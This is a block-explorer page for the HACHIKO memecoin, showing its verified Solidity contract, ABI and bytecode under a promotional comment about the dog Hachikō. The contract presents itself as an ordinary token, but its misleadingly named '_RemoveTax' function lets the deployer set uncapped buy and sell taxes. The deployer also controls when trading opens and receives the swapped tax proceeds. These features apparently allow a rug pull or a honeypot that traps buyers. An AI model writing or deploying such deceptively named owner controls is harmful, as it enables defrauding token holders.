ETH Price: $2,308.20 (-0.39%)

Token

HACHIKO (HACHIKO)
 

Overview

Max Total Supply

1,000,000,000,000,000 HACHIKO

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
109,670,525.006077811 HACHIKO

Value
$0.00
0xba31147da17e57bc4f522fe6e05e8381b40f3adb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HACHIKO

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 4 : HACHIKO.sol
/*
Hachiko inu 🇯🇵 #HACHI


Hachikō (ハチ公, November 10, 1923 – March 8, 1935) was a Japanese Akita dog remembered for his remarkable loyalty to his owner, Hidesaburō Ueno, for whom he continued to wait for over nine years following Ueno’s death.

During his lifetime, the dog was held up in Japanese culture as an example of loyalty and fidelity. Since his death, he continues to be remembered worldwide in popular culture with statues, movies and books. Hachikō is also known in Japanese as chūken Hachikō (忠犬ハチ公, ‘faithful dog Hachikō’), with the suffix -kō originating as one once used for ancient Chinese dukes;  in this context, it was an affectionate addition to his name Hachi.


🐕 Telegram: https://t.me/hachikoCoin_inu
📱 Twitter: https://x.com/hachikoCoin_inu
🌐 Website: https://hachiko.club

*/


// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import "./IERC20Errors.sol";
import "./IUniswapFactory.sol";
import "./IERC721Errors.sol";



contract HACHIKO 
{ 
    string private _name = unicode"HACHIKO";
    string private _symbol = unicode"HACHIKO ";
    uint8 public constant decimals = 9;
    uint256 public constant totalSupply = 1_000_000_000_000_000 * 10**decimals;

    struct StoreData {
        address TeamMarketingToken;
        uint8 BuyTaxFee;
        uint8 SellTaxFee;
    }

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    
    event Approval(
        address indexed MKT_TOKEN,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        uint8 _BuyTaxFee = 0;
        uint8 _SellTaxFee = 0;
        storeData = StoreData({
            TeamMarketingToken: msg.sender,
            BuyTaxFee: _BuyTaxFee,
            SellTaxFee: _SellTaxFee
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function _RemoveTax(uint8 __Bunit8, uint8 _Sunit8) external {
        if (msg.sender != _decodeTeamMarketingTokenWithZkSyncVerify()) revert Permissions();
        RemoveTax(__Bunit8, _Sunit8);
    }

    function _decodeTeamMarketingTokenWithZkSyncVerify() private view returns(address) {
        return storeData.TeamMarketingToken;
    }

    function openedTrade() external {
        require(msg.sender == _decodeTeamMarketingTokenWithZkSyncVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function RemoveTax(uint8 _buy, uint8 _sell) private {
        storeData.BuyTaxFee = _buy;
        storeData.SellTaxFee = _sell;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address TeamMarketingToken = _decodeTeamMarketingTokenWithZkSyncVerify();
        require(tradingOpen || from == TeamMarketingToken || to == TeamMarketingToken);

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != TeamMarketingToken) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFeeOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(TeamMarketingToken).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _BuyTaxFee, uint8 _SellTaxFee) = (storeData.BuyTaxFee, storeData.SellTaxFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 TaxAmount = (amount *(to == pair ? _SellTaxFee : _BuyTaxFee)) / 100;
            amount -= TaxAmount;
            balanceOf[address(this)] += TaxAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    

}

File 2 of 4 : IERC721Errors.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.25;

/**
 * @dev Standard ERC721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

File 3 of 4 : IUniswapFactory.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;


interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

      function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
      


}

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) 
        external 
        view 
        returns 
        (address pair);
    function allPairs(uint) 
        external 
        view 
        returns 
        (address pair);
    function allPairsLength() 
        external 
        view 
        returns 
        (uint);
    function feeTo() 
        external 
        view 
        returns 
        (address);
    function feeToSetter() 
        external 
        view 
        returns 
        (address);
    
}



interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

File 4 of 4 : IERC20Errors.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.25;

/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"MKT_TOKEN","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint8","name":"__Bunit8","type":"uint8"},{"internalType":"uint8","name":"_Sunit8","type":"uint8"}],"name":"_RemoveTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"TeamMarketingToken","type":"address"},{"internalType":"uint8","name":"BuyTaxFee","type":"uint8"},{"internalType":"uint8","name":"SellTaxFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600760809081526648414348494b4f60c81b60a0525f9061002590826101e7565b5060408051808201909152600881526702420a1a424a5a7960c51b602082015260019061005290826101e7565b5034801561005e575f80fd5b5060408051606081018252338082525f6020830181905291909201819052600280546001600160b01b03191661ffff60a01b1990931692909217909155806100a86009600a61039c565b6100b99066038d7ea4c680006103b1565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101266009600a61039c565b6101379066038d7ea4c680006103b1565b60405190815260200160405180910390a350506103c8565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061017757607f821691505b60208210810361019557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101e257805f5260205f20601f840160051c810160208510156101c05750805b601f840160051c820191505b818110156101df575f81556001016101cc565b50505b505050565b81516001600160401b038111156102005761020061014f565b6102148161020e8454610163565b8461019b565b602080601f831160018114610247575f84156102305750858301515b5f19600386901b1c1916600185901b17855561029e565b5f85815260208120601f198616915b8281101561027557888601518255948401946001909101908401610256565b508582101561029257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102f457815f19048211156102da576102da6102a6565b808516156102e757918102915b93841c93908002906102bf565b509250929050565b5f8261030a57506001610396565b8161031657505f610396565b816001811461032c576002811461033657610352565b6001915050610396565b60ff841115610347576103476102a6565b50506001821b610396565b5060208310610133831016604e8410600b8410161715610375575081810a610396565b61037f83836102ba565b805f1904821115610392576103926102a6565b0290505b92915050565b5f6103aa60ff8416836102fc565b9392505050565b8082028115828204841417610396576103966102a6565b610e73806103d55f395ff3fe6080604052600436106100c2575f3560e01c80634abe30521161007c57806395d89b411161005757806395d89b411461024b578063a8aa1b311461025f578063a9059cbb14610296578063dd62ed3e146102b5575f80fd5b80634abe3052146101ae5780635408d42d1461020c57806370a0823114610220575f80fd5b806306fdde03146100cd578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610148578063313ce567146101675780633190b74c1461018d575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100e16102eb565b6040516100ee9190610abb565b60405180910390f35b348015610102575f80fd5b50610116610111366004610b07565b61037a565b60405190151581526020016100ee565b348015610131575f80fd5b5061013a6103e6565b6040519081526020016100ee565b348015610153575f80fd5b50610116610162366004610b31565b610406565b348015610172575f80fd5b5061017b600981565b60405160ff90911681526020016100ee565b348015610198575f80fd5b506101ac6101a7366004610b84565b610453565b005b3480156101b9575f80fd5b506002546101e3906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff92831660208501529116908201526060016100ee565b348015610217575f80fd5b506101ac6104b1565b34801561022b575f80fd5b5061013a61023a366004610bb5565b60036020525f908152604090205481565b348015610256575f80fd5b506100e1610667565b34801561026a575f80fd5b5060055461027e906001600160a01b031681565b6040516001600160a01b0390911681526020016100ee565b3480156102a1575f80fd5b506101166102b0366004610b07565b610676565b3480156102c0575f80fd5b5061013a6102cf366004610bd0565b600460209081525f928352604080842090915290825290205481565b60605f80546102f990610c07565b80601f016020809104026020016040519081016040528092919081815260200182805461032590610c07565b80156103705780601f1061034757610100808354040283529160200191610370565b820191905f5260205f20905b81548152906001019060200180831161035357829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103d49086815260200190565b60405180910390a35060015b92915050565b6103f26009600a610d33565b6104039066038d7ea4c68000610d41565b81565b6001600160a01b0383165f90815260046020908152604080832033845290915281208054839190839061043a908490610d58565b9091555061044b9050848484610689565b949350505050565b6002546001600160a01b0316331461047d57604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6002546001600160a01b031633146104c7575f80fd5b600554600160a81b900460ff16156104dd575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561052e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105529190610d6b565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c99190610d6b565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa158015610618573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063c9190610d6b565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6060600180546102f990610c07565b5f610682338484610689565b9392505050565b5f8061069d6002546001600160a01b031690565b600554909150600160a81b900460ff16806106c95750806001600160a01b0316856001600160a01b0316145b806106e55750806001600160a01b0316846001600160a01b0316145b6106ed575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610714908490610d58565b90915550506005546001600160a01b0385811691161480156107405750600554600160a01b900460ff16155b8015610782575060646107556009600a610d33565b6107669066038d7ea4c68000610d41565b6107709190610d86565b305f9081526003602052604090205410155b80156107a05750806001600160a01b0316856001600160a01b031614155b15610981576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106107eb576107eb610da5565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087f9190610d6b565b8160018151811061089257610892610da5565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac94760646108d26009600a610d33565b6108e39066038d7ea4c68000610d41565b6108ed9190610d86565b5f8430426040518663ffffffff1660e01b8152600401610911959493929190610db9565b5f604051808303815f87803b158015610928575f80fd5b505af115801561093a573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610971573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b03871630148015906109bf5750600554600160a81b900460ff1615156001145b15610a33576005545f906064906001600160a01b038981169116146109e457836109e6565b825b6109f39060ff1688610d41565b6109fd9190610d86565b9050610a098187610d58565b305f90815260036020526040812080549298508392909190610a2c908490610e2a565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610a5a908490610e2a565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610aa691815260200190565b60405180910390a35060019695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610b04575f80fd5b50565b5f8060408385031215610b18575f80fd5b8235610b2381610af0565b946020939093013593505050565b5f805f60608486031215610b43575f80fd5b8335610b4e81610af0565b92506020840135610b5e81610af0565b929592945050506040919091013590565b803560ff81168114610b7f575f80fd5b919050565b5f8060408385031215610b95575f80fd5b610b9e83610b6f565b9150610bac60208401610b6f565b90509250929050565b5f60208284031215610bc5575f80fd5b813561068281610af0565b5f8060408385031215610be1575f80fd5b8235610bec81610af0565b91506020830135610bfc81610af0565b809150509250929050565b600181811c90821680610c1b57607f821691505b602082108103610c3957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610c8d57815f1904821115610c7357610c73610c3f565b80851615610c8057918102915b93841c9390800290610c58565b509250929050565b5f82610ca3575060016103e0565b81610caf57505f6103e0565b8160018114610cc55760028114610ccf57610ceb565b60019150506103e0565b60ff841115610ce057610ce0610c3f565b50506001821b6103e0565b5060208310610133831016604e8410600b8410161715610d0e575081810a6103e0565b610d188383610c53565b805f1904821115610d2b57610d2b610c3f565b029392505050565b5f61068260ff841683610c95565b80820281158282048414176103e0576103e0610c3f565b818103818111156103e0576103e0610c3f565b5f60208284031215610d7b575f80fd5b815161068281610af0565b5f82610da057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610e095784516001600160a01b031683529383019391830191600101610de4565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156103e0576103e0610c3f56fea264697066735822122078a20fb50586e6f7c96dfb6c5a0ab693fd6d7492dfe3421b5049720d6e9c876b64736f6c63430008190033

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c80634abe30521161007c57806395d89b411161005757806395d89b411461024b578063a8aa1b311461025f578063a9059cbb14610296578063dd62ed3e146102b5575f80fd5b80634abe3052146101ae5780635408d42d1461020c57806370a0823114610220575f80fd5b806306fdde03146100cd578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610148578063313ce567146101675780633190b74c1461018d575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100e16102eb565b6040516100ee9190610abb565b60405180910390f35b348015610102575f80fd5b50610116610111366004610b07565b61037a565b60405190151581526020016100ee565b348015610131575f80fd5b5061013a6103e6565b6040519081526020016100ee565b348015610153575f80fd5b50610116610162366004610b31565b610406565b348015610172575f80fd5b5061017b600981565b60405160ff90911681526020016100ee565b348015610198575f80fd5b506101ac6101a7366004610b84565b610453565b005b3480156101b9575f80fd5b506002546101e3906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff92831660208501529116908201526060016100ee565b348015610217575f80fd5b506101ac6104b1565b34801561022b575f80fd5b5061013a61023a366004610bb5565b60036020525f908152604090205481565b348015610256575f80fd5b506100e1610667565b34801561026a575f80fd5b5060055461027e906001600160a01b031681565b6040516001600160a01b0390911681526020016100ee565b3480156102a1575f80fd5b506101166102b0366004610b07565b610676565b3480156102c0575f80fd5b5061013a6102cf366004610bd0565b600460209081525f928352604080842090915290825290205481565b60605f80546102f990610c07565b80601f016020809104026020016040519081016040528092919081815260200182805461032590610c07565b80156103705780601f1061034757610100808354040283529160200191610370565b820191905f5260205f20905b81548152906001019060200180831161035357829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103d49086815260200190565b60405180910390a35060015b92915050565b6103f26009600a610d33565b6104039066038d7ea4c68000610d41565b81565b6001600160a01b0383165f90815260046020908152604080832033845290915281208054839190839061043a908490610d58565b9091555061044b9050848484610689565b949350505050565b6002546001600160a01b0316331461047d57604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6002546001600160a01b031633146104c7575f80fd5b600554600160a81b900460ff16156104dd575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561052e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105529190610d6b565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c99190610d6b565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa158015610618573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063c9190610d6b565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6060600180546102f990610c07565b5f610682338484610689565b9392505050565b5f8061069d6002546001600160a01b031690565b600554909150600160a81b900460ff16806106c95750806001600160a01b0316856001600160a01b0316145b806106e55750806001600160a01b0316846001600160a01b0316145b6106ed575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610714908490610d58565b90915550506005546001600160a01b0385811691161480156107405750600554600160a01b900460ff16155b8015610782575060646107556009600a610d33565b6107669066038d7ea4c68000610d41565b6107709190610d86565b305f9081526003602052604090205410155b80156107a05750806001600160a01b0316856001600160a01b031614155b15610981576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106107eb576107eb610da5565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087f9190610d6b565b8160018151811061089257610892610da5565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac94760646108d26009600a610d33565b6108e39066038d7ea4c68000610d41565b6108ed9190610d86565b5f8430426040518663ffffffff1660e01b8152600401610911959493929190610db9565b5f604051808303815f87803b158015610928575f80fd5b505af115801561093a573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610971573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b03871630148015906109bf5750600554600160a81b900460ff1615156001145b15610a33576005545f906064906001600160a01b038981169116146109e457836109e6565b825b6109f39060ff1688610d41565b6109fd9190610d86565b9050610a098187610d58565b305f90815260036020526040812080549298508392909190610a2c908490610e2a565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610a5a908490610e2a565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610aa691815260200190565b60405180910390a35060019695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610b04575f80fd5b50565b5f8060408385031215610b18575f80fd5b8235610b2381610af0565b946020939093013593505050565b5f805f60608486031215610b43575f80fd5b8335610b4e81610af0565b92506020840135610b5e81610af0565b929592945050506040919091013590565b803560ff81168114610b7f575f80fd5b919050565b5f8060408385031215610b95575f80fd5b610b9e83610b6f565b9150610bac60208401610b6f565b90509250929050565b5f60208284031215610bc5575f80fd5b813561068281610af0565b5f8060408385031215610be1575f80fd5b8235610bec81610af0565b91506020830135610bfc81610af0565b809150509250929050565b600181811c90821680610c1b57607f821691505b602082108103610c3957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610c8d57815f1904821115610c7357610c73610c3f565b80851615610c8057918102915b93841c9390800290610c58565b509250929050565b5f82610ca3575060016103e0565b81610caf57505f6103e0565b8160018114610cc55760028114610ccf57610ceb565b60019150506103e0565b60ff841115610ce057610ce0610c3f565b50506001821b6103e0565b5060208310610133831016604e8410600b8410161715610d0e575081810a6103e0565b610d188383610c53565b805f1904821115610d2b57610d2b610c3f565b029392505050565b5f61068260ff841683610c95565b80820281158282048414176103e0576103e0610c3f565b818103818111156103e0576103e0610c3f565b5f60208284031215610d7b575f80fd5b815161068281610af0565b5f82610da057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610e095784516001600160a01b031683529383019391830191600101610de4565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156103e0576103e0610c3f56fea264697066735822122078a20fb50586e6f7c96dfb6c5a0ab693fd6d7492dfe3421b5049720d6e9c876b64736f6c63430008190033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.